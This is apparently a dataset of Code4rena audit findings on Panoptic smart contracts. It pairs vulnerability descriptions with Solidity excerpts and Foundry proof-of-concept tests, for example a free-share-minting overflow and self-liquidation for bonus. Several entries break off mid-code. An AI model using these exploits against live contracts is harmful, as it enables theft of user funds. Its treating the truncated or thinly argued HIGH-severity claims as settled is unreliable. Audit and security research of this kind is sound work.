xanoutas/solidity-security-findings huggingface dataset:
There is an error in the fee processing of the `PanopticPool#forceExercise` function.
Audit: 2024-04-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/PanopticPool.sol#L1252-L1261


# Vulnerability details

## Impact
In the `PanopticPool.sol#forceExercise` function, `fee` is paid contrary to the intention of the protocol.
Attackers use this to steal tokens from other users.

## Proof of Concept
The `PanopticPool.sol#forceExercise` function is as follows.

```solidity
1179:    function forceExercise(
1180:        address account,
1181:        TokenId[] calldata touchedId,
1182:        TokenId[] calldata positionIdListExercisee,
1183:        TokenId[] calldata positionIdListExercisor
1184:    ) external {
        // revert if multiple positions are specified
        // the reason why the singular touchedId is an array is so it composes well with the rest of the system
        // '_calculateAccumulatedPremia' expects a list of positions to be touched, and this is the only way to pass a single position
        if (touchedId.length != 1) revert Errors.InputListFail();

        // validate the exercisor's position list (the exercisee's list will be evaluated after their position is force exercised)
        _validatePositionList(msg.sender, positionIdListExercisor, 0);

        uint128 positionBalance = s_positionBalance[account][touchedId[0]].rightSlot();

        // compute the notional value of the short legs (the maximum amount of tokens required to exercise - premia)
        // and the long legs (from which the exercise cost is computed)
        (LeftRightSigned longAmounts, LeftRightSigned delegatedAmounts) = PanopticMath
            .computeExercisedAmounts(touchedId[0], positionBalance);

        int24 twapTick = getUniV3TWAP();

        (, int24 currentTick, , , , , ) = s_univ3pool.slot0();

        {
            // add the premia to the delegated amounts to ensure the user has enough collateral to exercise
            (LeftRightSigned positionPremia, ) = _calculateAccumulatedPremia(
                account,
                touchedId,
                COMPUTE_LONG_PREMIA,
                ONLY_AVAILABLE_PREMIUM,
                currentTick
            );

            // long premia is represented as negative so subtract it to increase it for the delegated amounts
            delegatedAmounts = delegatedAmounts.sub(positionPremia);
        }

        // on forced exercise, the price *must* be outside the position's range for at least 1 leg
        touchedId[0].validateIsExercisable(twapTick);

        // The protocol delegates some virtual shares to ensure the burn can be settled.
        s_collateralToken0.delegate(account, uint128(delegatedAmounts.rightSlot()));
        s_collateralToken1.delegate(account, uint128(delegatedAmounts.leftSlot()));

        // Exercise the option
        // Note: tick limits are not applied here since it is not the exercisor's position being closed
        _burnAllOptionsFrom(account, 0, 0, COMMIT_LONG_SETTLED, touchedId);

        // Compute the exerciseFee, this will decrease the
Overflow in CollateralTracker allows minting shares for free
Audit: 2024-04-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L478
https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L461-L467


# Vulnerability details

## Impact

Malicious actors can mint huge amounts of shares for free and then withdraw all collateral.

## Proof of Concept

In the `mint` function user-controlled `shares` parameter goes right away to the `previewMint` function which then calculates required assets in unchecked block. If the `shares` value is high enough, overflow in `shares * DECIMALS` will occur, and `assets` will be very low.

```
function previewMint(uint shares) public view returns (uint assets) {
 unchecked {
 assets = Math.mulDivRoundingUp(
 shares * DECIMALS, totalAssets(), totalSupply * (DECIMALS - COMMISSION_FEE)
 );
 }
}

function mint(uint shares, address receiver) external returns (uint assets) {
 assets = previewMint(shares);
 if (assets > type(uint104).max) revert Errors.DepositTooLarge();
 ...
}
```

Insert the following snippet to ColalteralTracker.t.sol for coded PoC:

```
function test_poc1(uint256 x) public {
 _initWorld(x);
 _grantTokens(Bob);

 vm.startPrank(Bob);

 uint shares = type(uint).max / 10000 + 1;
 IERC20Partial(token0).approve(address(collateralToken0), type(uint256).max);
 uint256 returnedAssets0 = collateralToken0.mint(shares, Bob);

 assertEq(shares, collateralToken0.balanceOf(Bob));
 assertEq(returnedAssets0, 1);
}
```

## Tools Used

Manual review

## Recommended Mitigation Steps

Remove unchecked block
```
function maxMint(address) external view returns (uint maxShares) {
 return (convertToShares(type(uint104).max) * DECIMALS) / (DECIMALS + COMMISSION_FEE);
}
```


## Assessed type

Under/Overflow
Use of delegatecall in a payable function inside a loop
Audit: 2024-04-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/multicall/Multicall.sol#L15-L15


# Vulnerability details

## Impact
The Multicall contract uses the `delegatecall` (which takes user-provided calldata) in a `payable` function within a loop. This means that each `delegatecall` within the for loop will retain the `msg.value` of the transaction

## Proof of Concept
```
  function multicall(bytes[] calldata data) public payable returns (bytes[] memory results) {
        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; ) {
            (bool success, bytes memory result) = address(this).delegatecall(data[i]);

            if (!success) {
                // Bubble up the revert reason
                // The bytes type is ABI encoded as a length-prefixed byte array
                // So we simply need to add 32 to the pointer to get the start of the data
                // And then revert with the size loaded from the first 32 bytes
                // Other solutions will do work to differentiate the revert reasons and provide paranthetical information
                // However, we have chosen to simply replicate the the normal behavior of the call
                // NOTE: memory-safe because it reads from memory already allocated by solidity (the bytes memory result)
                assembly ("memory-safe") {
                    revert(add(result, 32), mload(result))
                }
            }

            results[i] = result;

            unchecked {
                ++i;
            }
        }
    }
```
The protocol does not currently use the `msg.value` in any meaningful way. it could be exploited to tamper with the system arithmetic.

## Tools Used

Manual Review






## Assessed type

call/delegatecall
Use of `slot0` to get sqrtPriceLimitX96 can lead to price manipulation.
Audit: 2024-04-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/SemiFungiblePositionManager.sol#L756


# Vulnerability details

In `SemiFungiblePositionManager.sol`, the function `swapInAMM()` uses `UniswapV3.slot0` to get the value of `sqrtPriceX96`, which is used to perform swap. However, the `sqrtPriceX96` is pulled from `Uniswap.slot0`, which is the most recent data point and can be manipulated easily via `MEV` bots and `Flashloans` with sandwich attacks; which can cause the loss of funds when interacting with the swap function.


## Proof of Concept
You can see the `swapInAMM()` function in `SemiFungiblePositionManager.sol` [here](https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/SemiFungiblePositionManager.sol#L756)
```solidity
    function swapInAMM(
        IUniswapV3Pool univ3pool,
        LeftRightSigned itmAmounts
    ) internal returns (LeftRightSigned totalSwapped) {
        // Initialize variables
        bool zeroForOne; // The direction of the swap, true for token0 to token1, false for token1 to token0
        int256 swapAmount; // The amount of token0 or token1 to swap
        bytes memory data;


        IUniswapV3Pool _univ3pool = univ3pool;
    //More Code...


            // note: upstream users of this function such as the Panoptic Pool should ensure users always compensate for the ITM amount delta
            // the netting swap is not perfectly accurate, and it is possible for swaps to run out of liquidity, so we do not want to rely on it
            // this is simply a convenience feature, and should be treated as such
            if ((itm0 != 0) && (itm1 != 0)) {
                (uint160 sqrtPriceX96, , , , , , ) = _univ3pool.slot0();


                // implement a single "netting" swap. Thank you @danrobinson for this puzzle/idea
                // note: negative ITM amounts denote a surplus of tokens (burning liquidity), while positive amounts denote a shortage of tokens (minting liquidity)
                // compute the approximate delta of token0 that should be resolved in the swap at the current tick
                // we do this by flipping the signs on the token1 ITM amount converting+deducting it against the token0 ITM amount

```
The `sqrtPriceX96` derived is then used to derive values used to call `Uniswap.swap()`
```solidity
            // note - can occur if itm0 and itm1 have the same value
            // in that case, swapping would be pointless so skip
            if (swapAmount == 0) return LeftRightSigned.wrap(0);


            // swap tokens in the Uniswap pool
            // @dev note this triggers our swap callback function
            (int256 swap0, int256 swap1) = _univ3pool.swap(
                msg.sender,
                zeroForOne,
                swapAmount,
                zeroForOne
                    ? Constants.MIN_V3POOL_SQRT_RATIO + 1
                    : Constants.MAX_V3POOL_S
Mint() & Deposit() provide different shares amounts to same asset value. 
Audit: 2024-04-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/CollateralTracker.sol#L396-L500


# Vulnerability details

## Impact
Two ways to purchase the ``CollateralTracker`` token is through the ``mint()`` and ``deposit()`` functions. 
Both functions run a deposit process, however while ``mint()`` requires you to specify the amount of shares to be received, the ``deposit()`` requires you to specify the amount of assets to be transferred in.

However, the ``mint()`` and ``deposit()`` functions provide different values to users for the same amount of tokens provided. 
 
## Proof of Concept
Below is a foundry POC that demos the issue. Since the assets deposited are tracked as a state variable, we can eliminate the SafeTransfer while getting the same result

```solidity

    function testMint() public {
        for (uint i;  i< 10;i++ ){
            collateralTracker.mint(100_000_000 ,address(this));
            //collateralTracker.redeem(100_000_000, address(this), address(this));
        } 
        
        collateralTracker.balanceOf(address(this));
        //@audit mints 100_000_000 shares for 101 assets
        //@audit after 10 loops 1_000_000_000 
    }

    function testDeposit() public {
        for (uint i;  i< 10;i++ ){
            collateralTracker.deposit( 101, address(this));
            //collateralTracker.redeem(100_000_000, address(this), address(this));

        }
        
        collateralTracker.balanceOf(address(this));
    }
    //@audit mints 100_899_000 for 101 assests
    //@audit after 10 loops 1_007_057_718

```

We can see the increase in difference between both functions and the amount of tokens spent. 
By performing a ``deposit()`` loop,  a user can withdraw more than their asset allocation using ``redeem()`` when other users enter the pool thereby causing loss of funds to other users

## Tools Used
Manual Review , Josephdara

## Recommended Mitigation Steps

This issue stems from the PreviewMint and PreviewDeposit, they should be modified to provide roughly the same amount of tokens to the users using either the mint or deposit function.


## Assessed type

ERC4626
User can Self Liquidate and Earn the Bonus amount
Audit: 2024-04-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/PanopticPool.sol#L1017-L1171


# Vulnerability details

## Impact
When user collateral are not enough to keep his position open. The Protocol allow other users to liquidate this position. in return the Liquidator will be paid with bonus amount. The bonus amount will be paid in both tokens `token0` and `token1` of the given pool.
if the user position does not have enough collateral to pay for bonus amount the the bonus  is paid by protocol.
However the Protocol does not prevent users from liquidating them selves The malicious users can exploit this and liquidate his self rather then adding more collateral to there positions and go away with bonus amount.
## Proof of Concept

```solidity
function test_self_success_liquidate(
        uint256 x,
        uint256 numLegs,
        uint256[4] memory isLongs,
        uint256[4] memory tokenTypes,
        uint256[4] memory widthSeeds,
        int256[4] memory strikeSeeds,
        uint256 positionSizeSeed,
        uint256 swapSizeSeed,
        uint256 collateralBalanceSeed,
        uint256 collateralRatioSeed
    ) public {
        _initPool(x);

        numLegs = bound(numLegs, 1, 4);

        int24[4] memory widths;
        int24[4] memory strikes;

        for (uint256 i = 0; i < numLegs; ++i) {
            tokenTypes[i] = bound(tokenTypes[i], 0, 1);
            isLongs[i] = bound(isLongs[i], 0, 1);
            (widths[i], strikes[i]) = getValidSW(
                widthSeeds[i],
                strikeSeeds[i],
                uint24(tickSpacing),
                // distancing tickSpacing ensures this position stays OTM throughout this test case. ITM is tested elsewhere.
                currentTick
            );

            // make sure there are no conflicts
            for (uint256 j = 0; j < i; ++j) {
                vm.assume(
                    widths[i] != widths[j] ||
                        strikes[i] != strikes[j] ||
                        tokenTypes[i] != tokenTypes[j]
                );
            }
        }
        if (numLegs == 1) populatePositionData(widths[0], strikes[0], positionSizeSeed);
        if (numLegs == 2)
            populatePositionData(
                [widths[0], widths[1]],
                [strikes[0], strikes[1]],
                positionSizeSeed
            );
        if (numLegs == 3)
            populatePositionData(
                [widths[0], widths[1], widths[2]],
                [strikes[0], strikes[1], strikes[2]],
                positionSizeSeed
            );
        if (numLegs == 4) populatePositionData(widths, strikes, positionSizeSeed);

        // this is a long option; so need to sell before it can be bought (let's say 2x position size for now)
        vm.startPrank(Seller);

        for (uint256 i = 0; i < numLegs; ++i) {
            $posIdLists[0].push(
                TokenId.wrap(0).addPoolId(poolId).addLeg(
                    0,
                    1,
Protocol is open to `Flash Loan` Attack via which `PoolUtilization Ratio` can manipulated and several attacks can preformed.
Audit: 2024-04-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/CollateralTracker.sol#L417-L440
https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/CollateralTracker.sol#L531-L566


# Vulnerability details

## Impact
By architechting a perfect frontrun, backrun with liquidation next, Attacker could take profit via making flashloans attack.

## Proof of Concept
In my previous report i explained how proocol is charging extra on each deposit of collateral, which is not mentioned any place. This remedation will lead to possibility of flashloan attack.
https://code4rena.com/audits/2024-04-panoptic/submit?issue=I_kwDOLl1L7s6GfR2R

So via using `flash loans` user could deposit significant amount of funds
```solidity
s_poolAssets += uint128(assets); 
```
 and manipulate `poolUtilization` 
```solidity
    function _poolUtilization() internal view returns (int256 poolUtilization) {
        unchecked {
            return int256((s_inAMM * DECIMALS) / totalAssets());
        }


    function totalAssets() public view returns (uint256 totalManagedAssets) {
        unchecked {
            return s_poolAssets + s_inAMM; 
        }
    }
```

which is crucial parameter which decide `BPR`-Buying Power Requirement and `SPR`-Selling Power Requirement.

By front-running and Back-running some Long and Short position and liqudating those position next, attacker can make profits.

## Tools Used
Manual Review

## Recommended Mitigation Steps
Simplest way to mitigate this issue by not allowing `deposit` and `withdraw` same user on same block.


## Assessed type

Other
swap in amm should have slippage and deadline parameters
Audit: 2024-04-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/833312ebd600665b577fbd9c03ffa0daf250ed24/contracts/SemiFungiblePositionManager.sol#L756-L852


# Vulnerability details

## Impact
lack of slippage protection and deadline params at swap will lead to getting undesired price.

## Proof of Concept
          (int256 swap0, int256 swap1) = _univ3pool.swap(
                msg.sender,
                zeroForOne,
                swapAmount,
                zeroForOne
                    ? Constants.MIN_V3POOL_SQRT_RATIO + 1
                    : Constants.MAX_V3POOL_SQRT_RATIO - 1,
                data
            );

there is lack of slippage protection and deadline params in swap . So tx can sit in the mempool for a long time (due to gas fee is too low for validator to include that tx in mempool) and   executed later , this will  lead to getting the undesired price . This will cause loss of funds for users
## Tools Used
manual view
## Recommended Mitigation Steps
add slippage protection and deadline 


## Assessed type

MEV
`settleLongPremium` will not collect long premium from option buyer 
Audit: 2024-04-panoptic-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/PanopticPool.sol#L1600-L1640
https://github.com/code-423n4/2024-04-panoptic/blob/main/contracts/CollateralTracker.sol#L1043-L1079


# Vulnerability details

## Issue Description

Within `PanopticPool`, options sellers are allowed to call `PanopticPool::settleLongPremium` to settle all unpaid premium for long legs of a given buyer position.

The `PanopticPool::settleLongPremium` function is supposed to calculate the current long premium owed to the buyer using the `s_options` leg accumulator, then it must collect that the owed premium from the buyer collaterals by calling `CollateralTracker::exercise` function, and finally, the function will update the storage mapping `settledTokens` which represents the per-chunk accumulator for tokens owed to options sellers (which will make the premium available for sellers of that chunk).

The issue that it's present in the `PanopticPool::settleLongPremium` function is that it will mint collateral shares to the buyer instead of burning them from his balance and this is due to the fact that the calculated `realizedPremia` passed to `CollateralTracker::exercise` is a positive value. To understand this, let's first look at the function code snippet below:

```solidity
function settleLongPremium(
    TokenId[] calldata positionIdList,
    address owner,
    uint256 legIndex
) external {
    _validatePositionList(owner, positionIdList, 0);

    TokenId tokenId = positionIdList[positionIdList.length - 1];

    if (tokenId.isLong(legIndex) == 0 || legIndex > 3) revert Errors.NotALongLeg();

    (, int24 currentTick, , , , , ) = s_univ3pool.slot0();

    LeftRightUnsigned accumulatedPremium;
    {
        (int24 tickLower, int24 tickUpper) = tokenId.asTicks(legIndex);

        uint256 tokenType = tokenId.tokenType(legIndex);
        (uint128 premiumAccumulator0, uint128 premiumAccumulator1) = SFPM.getAccountPremium(
            address(s_univ3pool),
            address(this),
            tokenType,
            tickLower,
            tickUpper,
            currentTick,
            1
        );
        accumulatedPremium = LeftRightUnsigned
            .wrap(0)
            .toRightSlot(premiumAccumulator0)
            .toLeftSlot(premiumAccumulator1);

        // update the premium accumulator for the long position to the latest value
        // (the entire premia delta will be settled)
        LeftRightUnsigned premiumAccumulatorsLast = s_options[owner][tokenId][legIndex];
        s_options[owner][tokenId][legIndex] = accumulatedPremium;

        accumulatedPremium = accumulatedPremium.sub(premiumAccumulatorsLast);
    }

    uint256 liquidity = PanopticMath
        .getLiquidityChunk(tokenId, legIndex, s_positionBalance[owner][tokenId].rightSlot())
        .liquidity();

    unchecked {
        // update the realized premia
        LeftRightSigned realizedPremia = LeftRightSigned
            .wrap(0)
            .toRightSlot(int128(int